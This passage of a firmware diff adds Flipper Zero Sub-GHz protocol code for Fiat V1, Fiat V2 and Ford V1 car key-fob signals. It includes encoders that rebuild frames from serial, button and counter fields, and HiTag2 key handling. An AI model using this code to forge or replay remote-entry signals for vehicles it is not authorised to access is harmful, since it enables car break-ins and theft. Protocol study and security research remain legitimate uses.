instance->encoder.repeat = (repeat == 0U) ? FIAT_V1_ENC_DEFAULT_REPEAT : (size_t)repeat;
instance->encoder.upload = malloc(FIAT_V1_UPLOAD_CAPACITY * sizeof(LevelDuration));
if(!fiat_v1_encoder_build_upload(instance)) {
return SubGhzProtocolStatusErrorParserOthers;
}
instance->encoder.is_running = true;
FURI_LOG_I(
TAG,
"TX UID:%08lX Btn:%02lX Cnt:%03lX Auth:%08lX Epoch:%05lX XOR:%02X",
(unsigned long)serial,
(unsigned long)button,
(unsigned long)control,
(unsigned long)instance->hop,
(unsigned long)instance->epoch,
instance->frame_xor);
return SubGhzProtocolStatusOk;
}
void* subghz_protocol_decoder_fiat_v1_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderFiatV1* instance = calloc(1, sizeof(SubGhzProtocolDecoderFiatV1));
furi_check(instance);
instance->base.protocol = &fiat_v1_protocol;
instance->generic.protocol_name = instance->base.protocol->name;
subghz_protocol_decoder_fiat_v1_reset(instance);
return instance;
}
void subghz_protocol_decoder_fiat_v1_reset(void* context) {
furi_check(context);
SubGhzProtocolDecoderFiatV1* instance = context;
memset(instance->raw_data, 0, sizeof(instance->raw_data));
memset(instance->last_raw_data, 0, sizeof(instance->last_raw_data));
instance->decoder.parser_step = FiatV1DecoderStepReset;
instance->decoder.decode_data = 0U;
instance->decoder.decode_count_bit = 0U;
instance->last_raw_valid = false;
instance->generic.data = 0U;
instance->generic.data_count_bit = 0U;
instance->generic.serial = 0U;
instance->generic.btn = 0U;
instance->generic.cnt = 0U;
instance->uid = 0U;
instance->hop = 0U;
instance->family = 0U;
instance->tail_bits = FIAT_V1_DEFAULT_TAIL_BITS;
instance->frame_xor = 0U;
instance->hitag2_key_valid = false;
instance->hitag2_epoch = 0U;
memset(instance->hitag2_key, 0, sizeof(instance->hitag2_key));
fiat_v1_clear_all_cells(instance);
}
void subghz_protocol_decoder_fiat_v1_feed(void* context, bool level, uint32_t duration) {
furi_check(context);
SubGhzProtocolDecoderFiatV1* instance = context;
switch(instance->decoder.parser_step) {
case FiatV1DecoderStepReset:
if(fiat_v1_duration_is_pulse(duration)) {
fiat_v1_clear_all_cells(instance);
instance->decoder.parser_step = FiatV1DecoderStepData;
(void)fiat_v1_feed_data_pulse(instance, level, duration);
}
break;
case FiatV1DecoderStepData:
if(!fiat_v1_feed_data_pulse(instance, level, duration)) {
instance->decoder.parser_step = FiatV1DecoderStepReset;
}
break;
}
}
uint8_t subghz_protocol_decoder_fiat_v1_get_hash_data(void* context) {
furi_check(context);
SubGhzProtocolDecoderFiatV1* instance = context;
SubGhzBlockDecoder decoder = {
.decode_data = instance->generic.data,
.decode_count_bit = 64U,
};
return subghz_protocol_blocks_get_hash_data(&decoder, 8U) ^
(uint8_t)(instance->generic.cnt >> 8U) ^ (uint8_t)instance->generic.cnt ^
instance->generic.btn ^ instance->frame_xor;
}
SubGhzProtocolStatus subghz_protocol_decoder_fiat_v1_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_check(context);
SubGhzProtocolDecoderFiatV1* instance = context;
SubGhzProtocolStatus ret =
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
if(ret != SubGhzProtocolStatusOk) {
return ret;
}
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_hex(
flipper_format, FIAT_V1_RAW_FIELD, instance->raw_data, FIAT_V1_WIRE_BYTES);
uint32_t hop = instance->hop;
uint32_t frame_xor = instance->frame_xor;
uint32_t tail_bits = instance->tail_bits;
if(!flipper_format_write_uint32(flipper_format, FIAT_V1_HOP_FIELD, &hop, 1) ||
!flipper_format_write_uint32(flipper_format, FIAT_V1_XOR_FIELD, &frame_xor, 1) ||
!flipper_format_write_uint32(flipper_format, FIAT_V1_TAIL_BITS_FIELD, &tail_bits, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint32_t serial_val = instance->generic.serial;
uint32_t btn_val = instance->generic.btn;
uint32_t cnt_val = instance->generic.cnt;
if(!flipper_format_write_uint32(flipper_format, "Serial", &serial_val, 1) ||
!flipper_format_write_uint32(flipper_format, "Btn", &btn_val, 1) ||
!flipper_format_write_uint32(flipper_format, "Cnt", &cnt_val, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
if(instance->hitag2_key_valid) {
uint32_t epoch = instance->hitag2_epoch & 0x3FFFFUL;
if(!flipper_format_insert_or_update_hex(
flipper_format, FIAT_V1_HITAG2_KEY_FIELD, instance->hitag2_key, 6U) ||
!flipper_format_write_uint32(
flipper_format, FIAT_V1_HITAG2_EPOCH_FIELD, &epoch, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
}
return SubGhzProtocolStatusOk;
}
static void fiat_v1_load_hitag2_key(
SubGhzProtocolDecoderFiatV1* instance,
FlipperFormat* flipper_format) {
uint8_t key[6] = {0};
flipper_format_rewind(flipper_format);
if(!flipper_format_read_hex(flipper_format, FIAT_V1_HITAG2_KEY_FIELD, key, 6U)) {
return;
}
uint32_t epoch = 0U;
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, FIAT_V1_HITAG2_EPOCH_FIELD, &epoch, 1U)) {
epoch &= 0x3FFFFUL;
} else {
epoch = 0U;
}
memcpy(instance->hitag2_key, key, sizeof(instance->hitag2_key));
instance->hitag2_epoch = epoch;
instance->hitag2_key_valid = fiat_v1_key_matches(
instance->uid,
instance->generic.btn,
(uint16_t)(instance->generic.cnt & 0x03FFU),
instance->hop,
key,
epoch);
}
SubGhzProtocolStatus
subghz_protocol_decoder_fiat_v1_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolDecoderFiatV1* instance = context;
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_fiat_v1_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
return ret;
}
if(instance->generic.data_count_bit != FIAT_V1_LOGICAL_BITS) {
return SubGhzProtocolStatusErrorValueBitCount;
}
flipper_format_rewind(flipper_format);
if(flipper_format_read_hex(
flipper_format, FIAT_V1_RAW_FIELD, instance->raw_data, FIAT_V1_WIRE_BYTES)) {
if(!fiat_v1_frame_valid(instance->raw_data)) {
return SubGhzProtocolStatusErrorParserOthers;
}
fiat_v1_decode_fields(instance);
fiat_v1_load_hitag2_key(instance, flipper_format);
return SubGhzProtocolStatusOk;
}
instance->generic.serial = (uint32_t)(instance->generic.data >> 32U);
instance->hop = (uint32_t)instance->generic.data;
instance->family = 0x01U;
instance->uid = instance->generic.serial;
instance->tail_bits = FIAT_V1_DEFAULT_TAIL_BITS;
uint32_t value = 0U;
if(flipper_format_read_uint32(flipper_format, "Serial", &value, 1)) {
instance->generic.serial = value;
}
if(flipper_format_read_uint32(flipper_format, "Btn", &value, 1)) {
instance->generic.btn = (uint8_t)value;
}
if(flipper_format_read_uint32(flipper_format, "Cnt", &value, 1)) {
instance->generic.cnt = value;
}
if(flipper_format_read_uint32(flipper_format, FIAT_V1_HOP_FIELD, &value, 1)) {
instance->hop = value;
}
if(flipper_format_read_uint32(flipper_format, FIAT_V1_XOR_FIELD, &value, 1)) {
instance->frame_xor = (uint8_t)value;
}
if(flipper_format_read_uint32(flipper_format, FIAT_V1_TAIL_BITS_FIELD, &value, 1)) {
instance->tail_bits = (uint8_t)(value & 0x03U);
}
fiat_v1_rebuild_raw(instance);
if(!fiat_v1_frame_valid(instance->raw_data)) {
return SubGhzProtocolStatusErrorParserOthers;
}
fiat_v1_decode_fields(instance);
fiat_v1_load_hitag2_key(instance, flipper_format);
return SubGhzProtocolStatusOk;
}
void subghz_protocol_decoder_fiat_v1_get_string(void* context, FuriString* output) {
furi_check(context);
SubGhzProtocolDecoderFiatV1* instance = context;
furi_string_cat_printf(
output,
"%s %ubit %s\r\n"
"%08lX %03lX%01X %08lX\r\n"
"Sync:%02X UID:%08lX Auth:%08lX\r\n"
"Btn:%02X [%s] Ctrl:%03lX\r\n"
"Tail:%u XOR:%02X\r\n",
instance->generic.protocol_name,
FIAT_V1_LOGICAL_BITS,
instance->hitag2_key_valid ? "KEY:OK" : "KEY:??",
(unsigned long)instance->generic.serial,
(unsigned long)instance->generic.cnt,
instance->generic.btn,
(unsigned long)instance->hop,
instance->family,
(unsigned long)instance->uid,
(unsigned long)instance->hop,
instance->generic.btn,
fiat_v1_button_name(instance->generic.btn),
(unsigned long)instance->generic.cnt,
instance->tail_bits,
instance->frame_xor);
}
+37
View File
@@ -0,0 +1,37 @@
#pragma once
#include <furi.h>
#include <lib/subghz/protocols/base.h>
#include <lib/subghz/types.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <flipper_format/flipper_format.h>
#define FIAT_V1_PROTOCOL_NAME "Fiat V1"
typedef struct SubGhzProtocolDecoderFiatV1 SubGhzProtocolDecoderFiatV1;
typedef struct SubGhzProtocolEncoderFiatV1 SubGhzProtocolEncoderFiatV1;
extern const SubGhzProtocol fiat_v1_protocol;
void* subghz_protocol_decoder_fiat_v1_alloc(SubGhzEnvironment* environment);
void subghz_protocol_decoder_fiat_v1_reset(void* context);
void subghz_protocol_decoder_fiat_v1_feed(void* context, bool level, uint32_t duration);
uint8_t subghz_protocol_decoder_fiat_v1_get_hash_data(void* context);
SubGhzProtocolStatus subghz_protocol_decoder_fiat_v1_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
SubGhzProtocolStatus
subghz_protocol_decoder_fiat_v1_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_decoder_fiat_v1_get_string(void* context, FuriString* output);
void* subghz_protocol_encoder_fiat_v1_alloc(SubGhzEnvironment* environment);
void subghz_protocol_encoder_fiat_v1_free(void* context);
SubGhzProtocolStatus
subghz_protocol_encoder_fiat_v1_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_encoder_fiat_v1_stop(void* context);
LevelDuration subghz_protocol_encoder_fiat_v1_yield(void* context);
+426
View File
@@ -0,0 +1,426 @@
#include "fiat_v2.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <string.h>
#define TAG "FiatProtocolV2"
#define FIAT_V2_TE_SHORT 210U
#define FIAT_V2_TE_LONG 420U
#define FIAT_V2_TE_DELTA 100U
#define FIAT_V2_BOUNDARY_MIN_US 900U
#define FIAT_V2_WIRE_BITS 112U
#define FIAT_V2_WIRE_BYTES 14U
#define FIAT_V2_WIRE_CELLS (FIAT_V2_WIRE_BITS * 2U)
#define FIAT_V2_LOGICAL_BITS 112U
#define FIAT_V2_MARKER0 0x00U
#define FIAT_V2_MARKER1 0x01U
#define FIAT_V2_BTN_SHIFT 6U
#define FIAT_V2_BUTTON_LOCK 0x2U
#define FIAT_V2_BUTTON_UNLOCK 0x3U
#define FIAT_V2_BUTTON_TRUNK 0x1U
#define FIAT_V2_CNT_SHIFT 3U
#define FIAT_V2_FCA_TYPE_NIBBLE 0xD0U
#define FIAT_V2_RAW_FIELD "Raw"
#define FIAT_V2_HOP_FIELD "Hop"
#define FIAT_V2_BTN_FIELD "Btn"
static const SubGhzBlockConst subghz_protocol_fiat_v2_const = {
.te_short = FIAT_V2_TE_SHORT,
.te_long = FIAT_V2_TE_LONG,
.te_delta = FIAT_V2_TE_DELTA,
.min_count_bit_for_found = FIAT_V2_LOGICAL_BITS,
};
typedef enum {
FiatV2DecoderStepReset = 0,
FiatV2DecoderStepData = 1,
} FiatV2DecoderStep;
struct SubGhzProtocolDecoderFiatV2 {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
uint8_t cells[FIAT_V2_WIRE_CELLS];
uint16_t cell_count;
uint8_t raw_data[FIAT_V2_WIRE_BYTES];
uint8_t last_raw_data[FIAT_V2_WIRE_BYTES];
bool last_raw_valid;
uint32_t uid;
uint32_t hop;
uint8_t button;
};
static bool fiat_v2_feed_data_pulse(
SubGhzProtocolDecoderFiatV2* instance,
bool level,
uint32_t duration);
static bool fiat_v2_frame_valid(const uint8_t raw[FIAT_V2_WIRE_BYTES]);
static void subghz_protocol_decoder_fiat_v2_free(void* context) {
furi_assert(context);
free(context);
}
const SubGhzProtocolDecoder subghz_protocol_fiat_v2_decoder = {
.alloc = subghz_protocol_decoder_fiat_v2_alloc,
.free = subghz_protocol_decoder_fiat_v2_free,
.feed = subghz_protocol_decoder_fiat_v2_feed,
.reset = subghz_protocol_decoder_fiat_v2_reset,
.get_hash_data = subghz_protocol_decoder_fiat_v2_get_hash_data,
.serialize = subghz_protocol_decoder_fiat_v2_serialize,
.deserialize = subghz_protocol_decoder_fiat_v2_deserialize,
.get_string = subghz_protocol_decoder_fiat_v2_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_fiat_v2_encoder = {
.alloc = NULL,
.free = NULL,
.deserialize = NULL,
.stop = NULL,
.yield = NULL,
};
const SubGhzProtocol fiat_v2_protocol = {
.name = FIAT_V2_PROTOCOL_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save,
.decoder = &subghz_protocol_fiat_v2_decoder,
.encoder = &subghz_protocol_fiat_v2_encoder,
};
static bool fiat_v2_duration_is_short(uint32_t duration) {
return DURATION_DIFF(duration, subghz_protocol_fiat_v2_const.te_short) <
subghz_protocol_fiat_v2_const.te_delta;
}
static bool fiat_v2_duration_is_long(uint32_t duration) {
return DURATION_DIFF(duration, subghz_protocol_fiat_v2_const.te_long) <
subghz_protocol_fiat_v2_const.te_delta;
}
static bool fiat_v2_button_valid(uint8_t button) {
const uint8_t sel = button >> FIAT_V2_BTN_SHIFT;
return sel == FIAT_V2_BUTTON_LOCK || sel == FIAT_V2_BUTTON_UNLOCK ||
sel == FIAT_V2_BUTTON_TRUNK;
}
static const char* fiat_v2_button_name(uint8_t button) {
switch(button >> FIAT_V2_BTN_SHIFT) {
case FIAT_V2_BUTTON_LOCK:
return "Lock";
case FIAT_V2_BUTTON_UNLOCK:
return "Unlock";
case FIAT_V2_BUTTON_TRUNK:
return "Trunk";
default:
return "Unknown";
}
}
static uint32_t fiat_v2_uid(const uint8_t raw[FIAT_V2_WIRE_BYTES]) {
return ((uint32_t)raw[2] << 24U) | ((uint32_t)raw[3] << 16U) |
((uint32_t)raw[4] << 8U) | raw[5];
}
static bool fiat_v2_is_fca(const uint8_t raw[FIAT_V2_WIRE_BYTES]) {
return (raw[6] & 0xF0U) == FIAT_V2_FCA_TYPE_NIBBLE;
}
static uint32_t fiat_v2_hop(const uint8_t raw[FIAT_V2_WIRE_BYTES]) {
if(fiat_v2_is_fca(raw)) {
return ((uint32_t)raw[10] << 24U) | ((uint32_t)raw[11] << 16U) |
((uint32_t)raw[12] << 8U) | raw[13];
}
return ((uint32_t)raw[9] << 24U) | ((uint32_t)raw[10] << 16U) |
((uint32_t)raw[11] << 8U) | raw[12];
}
static uint32_t fiat_v2_counter(const uint8_t raw[FIAT_V2_WIRE_BYTES]) {
if(fiat_v2_is_fca(raw)) {
const uint32_t raw_cnt = ((uint32_t)raw[8] << 6U) | (uint32_t)(raw[9] >> 2U);
return (~raw_cnt) & 0x3FFFU;
}
const uint32_t raw_cnt =
((uint32_t)(raw[7] & 0x3FU) << 5U) | (uint32_t)(raw[8] >> FIAT_V2_CNT_SHIFT);
return (~raw_cnt) & 0x7FFU;
}
static bool fiat_v2_frame_valid(const uint8_t raw[FIAT_V2_WIRE_BYTES]) {
if(raw[0] != FIAT_V2_MARKER0 || raw[1] != FIAT_V2_MARKER1) {
return false;
}
if(!fiat_v2_button_valid(raw[7])) {
return false;
}
const uint32_t uid = fiat_v2_uid(raw);
return uid != 0U && uid != UINT32_MAX;
}
static void fiat_v2_clear_cells(SubGhzProtocolDecoderFiatV2* instance) {
instance->cell_count = 0U;
memset(instance->cells, 0, sizeof(instance->cells));
}
static void fiat_v2_decode_fields(SubGhzProtocolDecoderFiatV2* instance) {
instance->uid = fiat_v2_uid(instance->raw_data);
instance->button = instance->raw_data[7];
instance->hop = fiat_v2_hop(instance->raw_data);
instance->generic.serial = instance->uid;
instance->generic.btn = instance->button;
instance->generic.cnt = fiat_v2_counter(instance->raw_data);
instance->generic.data = ((uint64_t)instance->generic.serial << 32U) | instance->hop;
instance->generic.data_count_bit = FIAT_V2_LOGICAL_BITS;
instance->decoder.decode_data = instance->generic.data;
instance->decoder.decode_count_bit = instance->generic.data_count_bit;
}
static bool fiat_v2_commit(
SubGhzProtocolDecoderFiatV2* instance,
const uint8_t raw[FIAT_V2_WIRE_BYTES]) {
if(!fiat_v2_frame_valid(raw)) {
return false;
}
if(instance->last_raw_valid && memcmp(instance->last_raw_data, raw, FIAT_V2_WIRE_BYTES) == 0) {
return true;
}
memcpy(instance->raw_data, raw, FIAT_V2_WIRE_BYTES);
memcpy(instance->last_raw_data, raw, FIAT_V2_WIRE_BYTES);
instance->last_raw_valid = true;
fiat_v2_decode_fields(instance);
FURI_LOG_D(
TAG,
"Accepted UID:%08lX Btn:%02X Cnt:%02lX Hop:%08lX",
(unsigned long)instance->uid,
instance->button,
(unsigned long)instance->generic.cnt,
(unsigned long)instance->hop);
if(instance->base.callback) {
instance->base.callback(&instance->base, instance->base.context);
}
return true;
}
static bool fiat_v2_try_decode_window(SubGhzProtocolDecoderFiatV2* instance, bool invert) {
if(instance->cell_count != FIAT_V2_WIRE_CELLS) {
return false;
}
uint8_t raw[FIAT_V2_WIRE_BYTES] = {0};
for(uint8_t bit_index = 0U; bit_index < FIAT_V2_WIRE_BITS; bit_index++) {
const uint8_t first = instance->cells[bit_index * 2U];
const uint8_t second = instance->cells[bit_index * 2U + 1U];
if(first == second) {
return false;
}
bool bit = first != 0U;
if(invert) {
bit = !bit;
}
if(bit) {
raw[bit_index >> 3U] |= (uint8_t)(1U << (7U - (bit_index & 7U)));
}
}
return fiat_v2_commit(instance, raw);
}
static void fiat_v2_try_decode(SubGhzProtocolDecoderFiatV2* instance) {
if(fiat_v2_try_decode_window(instance, false)) {
return;
}
(void)fiat_v2_try_decode_window(instance, true);
}
static void fiat_v2_push_cell(SubGhzProtocolDecoderFiatV2* instance, bool level) {
if(instance->cell_count < FIAT_V2_WIRE_CELLS) {
instance->cells[instance->cell_count++] = level ? 1U : 0U;
} else {
memmove(instance->cells, &instance->cells[1], FIAT_V2_WIRE_CELLS - 1U);
instance->cells[FIAT_V2_WIRE_CELLS - 1U] = level ? 1U : 0U;
}
fiat_v2_try_decode(instance);
}
static bool fiat_v2_feed_data_pulse(
SubGhzProtocolDecoderFiatV2* instance,
bool level,
uint32_t duration) {
if(fiat_v2_duration_is_short(duration)) {
fiat_v2_push_cell(instance, level);
return true;
}
if(fiat_v2_duration_is_long(duration)) {
fiat_v2_push_cell(instance, level);
fiat_v2_push_cell(instance, level);
return true;
}
if(!level && duration >= FIAT_V2_BOUNDARY_MIN_US) {
fiat_v2_push_cell(instance, false);
}
fiat_v2_clear_cells(instance);
return false;
}
void* subghz_protocol_decoder_fiat_v2_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderFiatV2* instance = calloc(1, sizeof(SubGhzProtocolDecoderFiatV2));
furi_check(instance);
instance->base.protocol = &fiat_v2_protocol;
instance->generic.protocol_name = instance->base.protocol->name;
subghz_protocol_decoder_fiat_v2_reset(instance);
return instance;
}
void subghz_protocol_decoder_fiat_v2_reset(void* context) {
furi_check(context);
SubGhzProtocolDecoderFiatV2* instance = context;
memset(instance->raw_data, 0, sizeof(instance->raw_data));
memset(instance->last_raw_data, 0, sizeof(instance->last_raw_data));
instance->decoder.parser_step = FiatV2DecoderStepReset;
instance->decoder.decode_data = 0U;
instance->decoder.decode_count_bit = 0U;
instance->last_raw_valid = false;
instance->generic.data = 0U;
instance->generic.data_count_bit = 0U;
instance->generic.serial = 0U;
instance->generic.btn = 0U;
instance->generic.cnt = 0U;
instance->uid = 0U;
instance->hop = 0U;
instance->button = 0U;
fiat_v2_clear_cells(instance);
}
void subghz_protocol_decoder_fiat_v2_feed(void* context, bool level, uint32_t duration) {
furi_check(context);
SubGhzProtocolDecoderFiatV2* instance = context;
switch(instance->decoder.parser_step) {
case FiatV2DecoderStepReset:
if(fiat_v2_duration_is_short(duration) || fiat_v2_duration_is_long(duration)) {
fiat_v2_clear_cells(instance);
instance->decoder.parser_step = FiatV2DecoderStepData;
(void)fiat_v2_feed_data_pulse(instance, level, duration);
}
break;
case FiatV2DecoderStepData:
if(!fiat_v2_feed_data_pulse(instance, level, duration)) {
instance->decoder.parser_step = FiatV2DecoderStepReset;
}
break;
}
}
uint8_t subghz_protocol_decoder_fiat_v2_get_hash_data(void* context) {
furi_check(context);
SubGhzProtocolDecoderFiatV2* instance = context;
SubGhzBlockDecoder decoder = {
.decode_data = instance->generic.data,
.decode_count_bit = 64U,
};
return subghz_protocol_blocks_get_hash_data(&decoder, 8U) ^ instance->generic.cnt ^
instance->button;
}
SubGhzProtocolStatus subghz_protocol_decoder_fiat_v2_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_check(context);
SubGhzProtocolDecoderFiatV2* instance = context;
SubGhzProtocolStatus ret =
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
if(ret != SubGhzProtocolStatusOk) {
return ret;
}
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_hex(
flipper_format, FIAT_V2_RAW_FIELD, instance->raw_data, FIAT_V2_WIRE_BYTES);
uint32_t hop = instance->hop;
uint32_t button = instance->button;
if(!flipper_format_write_uint32(flipper_format, FIAT_V2_HOP_FIELD, &hop, 1) ||
!flipper_format_write_uint32(flipper_format, FIAT_V2_BTN_FIELD, &button, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
if(!flipper_format_update_uint32(flipper_format, "Serial", &instance->generic.serial, 1)) {
flipper_format_insert_or_update_uint32(flipper_format, "Serial", &instance->generic.serial, 1);
}
uint32_t btn = instance->generic.btn;
if(!flipper_format_update_uint32(flipper_format, "Btn", &btn, 1)) {
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &btn, 1);
}
uint32_t cnt = instance->generic.cnt;
if(!flipper_format_update_uint32(flipper_format, "Cnt", &cnt, 1)) {
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &cnt, 1);
}
return SubGhzProtocolStatusOk;
}
SubGhzProtocolStatus
subghz_protocol_decoder_fiat_v2_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolDecoderFiatV2* instance = context;
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_fiat_v2_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
return ret;
}
if(instance->generic.data_count_bit != FIAT_V2_LOGICAL_BITS) {
return SubGhzProtocolStatusErrorValueBitCount;
}
flipper_format_rewind(flipper_format);
if(flipper_format_read_hex(
flipper_format, FIAT_V2_RAW_FIELD, instance->raw_data, FIAT_V2_WIRE_BYTES)) {
if(!fiat_v2_frame_valid(instance->raw_data)) {
return SubGhzProtocolStatusErrorParserOthers;
}
fiat_v2_decode_fields(instance);
return SubGhzProtocolStatusOk;
}
return SubGhzProtocolStatusErrorParserOthers;
}
void subghz_protocol_decoder_fiat_v2_get_string(void* context, FuriString* output) {
furi_check(context);
SubGhzProtocolDecoderFiatV2* instance = context;
furi_string_cat_printf(
output,
"%s %ubit\r\n"
"UID:%08lX\r\n"
"Hop:%08lX Type:%01X\r\n"
"Btn:%02X [%s] Cnt:%02lX\r\n",
instance->generic.protocol_name,
FIAT_V2_LOGICAL_BITS,
(unsigned long)instance->uid,
(unsigned long)instance->hop,
(unsigned)(instance->raw_data[6] >> 4),
instance->button,
fiat_v2_button_name(instance->button),
(unsigned long)instance->generic.cnt);
}
+29
View File
@@ -0,0 +1,29 @@
#pragma once
#include <furi.h>
#include <lib/subghz/protocols/base.h>
#include <lib/subghz/types.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <flipper_format/flipper_format.h>
#define FIAT_V2_PROTOCOL_NAME "Fiat V2"
typedef struct SubGhzProtocolDecoderFiatV2 SubGhzProtocolDecoderFiatV2;
extern const SubGhzProtocol fiat_v2_protocol;
void* subghz_protocol_decoder_fiat_v2_alloc(SubGhzEnvironment* environment);
void subghz_protocol_decoder_fiat_v2_reset(void* context);
void subghz_protocol_decoder_fiat_v2_feed(void* context, bool level, uint32_t duration);
uint8_t subghz_protocol_decoder_fiat_v2_get_hash_data(void* context);
SubGhzProtocolStatus subghz_protocol_decoder_fiat_v2_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
SubGhzProtocolStatus
subghz_protocol_decoder_fiat_v2_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_decoder_fiat_v2_get_string(void* context, FuriString* output);
File diff suppressed because it is too large Load Diff
+302 -345
View File
@@ -1,5 +1,4 @@
#include "ford_v1.h"
#include <stdio.h>
#include <string.h>
#define TAG "FordProtocolV1"
@@ -49,16 +48,22 @@ typedef enum {
} FordV1DecoderStep;
static const char* ford_v1_get_button_name(uint8_t btn);
static uint16_t ford_v1_crc16(const uint8_t* data, size_t len);
static void ford_v1_decode_with_flag(uint8_t* raw, size_t len, uint8_t flag_byte);
static void ford_v1_decode(uint8_t* raw, size_t len);
static void ford_v1_encode_inverse_block(uint8_t block[9]);
static void ford_v1_encode_air_9bytes(const uint8_t* plain9, uint8_t* air9_out);
static bool ford_v1_plain_from_air(const uint8_t air9[9], uint8_t plain9_out[9]);
static void ford_v1_fields_from_plain(
const uint8_t plain9[9],
uint32_t* serial_out,
uint8_t* btn_out,
uint32_t* cnt_out);
static bool ford_v1_process_data(SubGhzProtocolDecoderFordV1* instance);
static bool ford_v1_try_last_byte_variants(SubGhzProtocolDecoderFordV1* instance);
static bool ford_v1_postdecode_ok(const uint8_t* raw17);
static bool ford_v1_extract_plain_from_raw(
const uint8_t* raw17_in,
uint8_t* plain9_out,
uint8_t* raw17_canonical_out_opt);
static void ford_v1_encode_air_9bytes(const uint8_t* plain9, uint8_t* air9_out);
static void
ford_v1_plain_apply_fields(uint8_t* plain9, uint32_t serial, uint8_t btn, uint32_t cnt);
static void ford_v1_encoder_rebuild_raw_from_plain(uint8_t* raw17, const uint8_t* plain9);
@@ -74,7 +79,6 @@ const SubGhzProtocolDecoder subghz_protocol_ford_v1_decoder = {
.get_string = subghz_protocol_decoder_ford_v1_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_ford_v1_encoder = {
.alloc = subghz_protocol_encoder_ford_v1_alloc,
.free = subghz_protocol_encoder_ford_v1_free,
@@ -86,61 +90,35 @@ const SubGhzProtocolEncoder subghz_protocol_ford_v1_encoder = {
const SubGhzProtocol ford_protocol_v1 = {
.name = FORD_PROTOCOL_V1_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save
| SubGhzProtocolFlag_Send
,
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_ford_v1_decoder,
.encoder = &subghz_protocol_ford_v1_encoder,
};
#define ford_v1_crc16(data, len) subghz_protocol_blocks_crc16((data), (len), 0x1021, 0x0000)
static const char* ford_v1_get_button_name(uint8_t btn) {
switch(btn) {
case 0:
return "SYNC";
return "Sync";
case 1:
return "LOCK";
return "Lock";
case 2:
return "UNLOCK";
return "Unlock";
case 4:
return "BOOT";
return "Trunk";
case 8:
return "PANIC";
return "Panic";
default:
return "??";
}
}
static uint16_t ford_v1_crc16(const uint8_t* data, size_t len) {
uint16_t crc = 0x0000;
for(size_t i = 0; i < len; i++) {
crc ^= ((uint16_t)data[i] << 8);
for(int bit = 0; bit < 8; bit++) {
if(crc & 0x8000) {
crc = (crc << 1) ^ 0x1021;
} else {
crc <<= 1;
}
crc &= 0xFFFF;
}
}
return crc;
}
static void ford_v1_decode(uint8_t* raw, size_t len) {
static void ford_v1_decode_with_flag(uint8_t* raw, size_t len, uint8_t flag_byte) {
if(len < 9) return;
uint8_t endbyte = raw[8];
uint8_t parity_any = (endbyte != 0) ? 1 : 0;
uint8_t parity = 0;
uint8_t tmp = endbyte;
while(tmp) {
parity ^= (tmp & 1);
tmp >>= 1;
}
uint8_t flag_byte = parity_any ? parity : 0;
if(flag_byte) {
uint8_t xor_byte = raw[7];
for(int i = 1; i < 7; i++) {
@@ -160,6 +138,83 @@ static void ford_v1_decode(uint8_t* raw, size_t len) {
raw[7] = (b7 & 0xAA) | (b6 & 0x55);
}
static void ford_v1_decode(uint8_t* raw, size_t len) {
if(len < 9) return;
uint8_t endbyte = raw[8];
uint8_t parity_any = (endbyte != 0) ? 1 : 0;
uint8_t parity = 0;
uint8_t tmp = endbyte;
while(tmp) {
parity ^= (tmp & 1);
tmp >>= 1;
}
uint8_t flag_byte = parity_any ? parity : 0;
